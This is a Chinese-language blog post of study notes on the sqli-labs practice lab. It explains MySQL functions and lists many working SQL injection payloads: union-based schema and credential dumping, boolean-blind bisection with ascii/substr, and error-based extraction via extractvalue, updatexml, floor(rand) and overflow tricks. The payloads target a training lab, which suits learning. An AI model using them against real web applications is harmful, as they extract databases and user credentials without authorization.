sqllab 笔记
报错注入
Background 1
基础函数
- version()——MySQL 版本
- user()——数据库用户名
- database()——数据库名
- @@datadir——数据库路径
- @@version_compile_os——操作系统版本
字符串连接函数
- concat(str1,str2,...)——没有分隔符地连接字符串
- concat_ws(separator,str1,str2,...)——含有分隔符地连接字符串
- group_concat(str1,str2,...)——连接一个组的所有字符串,并以逗号分隔每一条数据
Payload 4
?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'security'
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'users'
?id=-1' union select 1,username,password from users where id = 2
盲注
Background 5
截取字符串常用函数
- mid()
mid(column_name,start[,length])
此函数为截取字符串一部分 - substr()
substr(string,start,length)
从 start 位置开始,截取字符串 String 的 length 长度
Substr()和substring()函数实现的功能是一样的,均为截取字符串 - left()
left(String,n)
从左侧截取 String 的前 n 位 - ord()
返回第一个字符的ASCII码,经常与上面的函数进行组合使用。
ORD(MID(DATABASE(),1,1))>114 意为检测database()的第一位ASCII码是否大于114,也即是‘r’ - ascii()
ascii()将某个字符转换为 ascii 值
ascii('A')=65 ascii('a')=97
正则
http://www.cnblogs.com/lcamry/articles/5717442.html
- 用法介绍:select user() regexp '[1]';
数值溢出
- double 溢出 http://www.cnblogs.com/lcamry/articles/5509124.htm
Exp()为以 e 为底的对数函数;版本在 5.5.5 及其以上
select exp(~(select * FROM(SELECT USER())a)) - bigint 溢出 http://www.cnblogs.com/lcamry/articles/5509112.htm
select !(select * from (select user())x)-~0
~0 是对 0 逐位取反,很大的版本在 5.5.5 及其以上
报错
https://www.cnblogs.com/zzhoo/p/12386128.html
-
extractvalue()
extractvalue (XML_document, XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string (Xpath格式的字符串)extractvalue(1,concat(0x7e,(select @@version),0x7e))
mysql 对 xml 数据进行查询和修改的 xpath 函数,xpath 语法错误;extractvalue()能查询字符串的最大长度为32 -
updatexml()
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串)
第三个参数:new_value,String格式,替换查找到的符合条件的数据updatexml(1,concat(0x7e,(select @@version),0x7e),1)
mysql 对 xml 数据进行查询和修改的 xpath 函数,xpath 语法错误 -
floor报错注入是利用 select count(),(floor(rand(0)2)) x from users group by x这个相对固定的语句格式,导致的数据库报错。实际利用中通过 concat 函数,连接注入语句与 floor(rand(0)*2)函数,就实现了注入结果与报错信息回显的注入方式。
https://www.freebuf.com/column/235496.html
Payload 6
布尔盲注:语句true/false——>web页面返回true/false
库名:security
?id=1' and left(version(),1)=5%23
?id=1' and left(version(),1)=5 --+
?id=1' and left(database(),2)>'sa' --+
?id=1' and left(database(),2)='se' --+
表名:emails,referers,uagents,users
select ascii('e'); //101
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1))>100 --+
使用二分法进行测试,直到测试正确为止
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1))=101 --+
获取第一个表的第二位字符,使用 substr(String,2,1)即可
select ascii('m'); //109
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),2,1))=109 --+
获取第二个表,使用 limit 1,1 即可
select ascii('r'); //114
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 1,1),1,1))=114 --+
利用 regexp 获取 users 表中的列
?id=1' and 1=(select 1 from information_schema.columns where table_name regexp '^us[a-z]' limit 0,1) --+
users 列名:id,username,password
?id=1' and 1=(select 1 from information_schema.columns where column_name regexp '^userna' limit 0,1) --+
users 数据:
id | username | password
1 | Dumb | Dumb
2 | Angelina | I-kill-you
利用 ord(),mid()函数获取 users 表的内容
IFNULL(expression, alt_value) expression为NULL,返回备用值 alt_value
CAST (expression AS data_type) 转换数据类型
0x20 是十六进制,转换为十进制是32,即ASCII码为32的空格
select ascii('D'); //68
?id=1' and ord(mid((select ifnull (cast(username as char),0x20)from security.users order by id limit 0,1),1,1))=68 --+
报错注入:注入条件——>加入了 mysql_error() 显示错误
concat(str1,str2,…) 连接字符串,若任一参数为NULL则返回NULL
contcat_ws(separator,str1,str2,...) 代表concat With Separator;第一个参数是其它参数的分隔符。分隔符可以是一个字符串,也可以是其它参数;如果分隔符为 NULL,则结果为 NULL;函数会忽略任何分隔符参数后的 NULL 值
select rand(0);
rand() 可以产生一个在0和1之间的随机数,当提供了一个固定的随机数的种子0之后,每次产生的值都是一样的。也可以称之为伪随机(产生的数据都是可预知的)
select floor(rand(0)*2) from users;
floor() 函数的作用就是返回小于等于括号内该值的最大整数;rand() 是返回 0 到 1 之间的随机数,那么floor(rand(0))产生的数就只是0;rand产生的数乘 2 后自然是返回 0 到 2 之间的随机数,再配合 floor() 就可以产生确定的两个数了。也就是 0 和 1,并且根据固定的随机数种子0,他每次产生的随机数列都是相同的0 1 1 0 1 1
0x3a是":"的16进制
mysql> select floor(rand(0)*2) from users;
+-----+
| floor(rand(0)*2) |
+------------------+
| 0 |
| 1 |
| 1 |
| 0 |
| 1 |
| 1 |
mysql> select floor(rand(0)*2)a from users;
+---+
| a |
+---+
| 0 |
| 1 |
| 1 |
| 0 |
| 1 |
| 1 |
mysql> select floor(rand(0)*2)a from users group by a;
+---+
| a |
+---+
| 0 |
| 1 |
+---+
?id=1' union Select 1,count(*),concat(0x3a,0x3a,(select user()),0
x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+
double 数值类型超出范围进行报错注入
?id=1' union select (exp(~(select * FROM(SELECT USER())a))),2,3--+
利用 bigint 溢出进行报错注入
?id=1' union select (!(select * from (select user())x) - ~0),2,3--+
?id=1' and extractvalue(1,concat(0x7e,(select @@version),0x7e))--+
?id=1' and extractvalue(1,concat(0x3a,version(),0x3a)) --+
?id=1' and extractvalue(1,concat(0x3a,@@version,0x3a)) --+
?id=1' and updatexml(1,concat(0x3a,version(),0x3a),1) --+
利用数据的重复性
?id=1'union select 1,2,3 from (select NAME_CONST(version(),1),
NAME_CONST(version(),1))x --+
a-z ↩︎
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· AI与.NET技术实操系列:基于图像分类模型对图像进行分类
· go语言实现终端里的倒计时
· 如何编写易于单元测试的代码
· 10年+ .NET Coder 心语,封装的思维:从隐藏、稳定开始理解其本质意义
· .NET Core 中如何实现缓存的预热?
· 分享一个免费、快速、无限量使用的满血 DeepSeek R1 模型,支持深度思考和联网搜索!
· 25岁的心里话
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· ollama系列01:轻松3步本地部署deepseek,普通电脑可用
· 按钮权限的设计及实现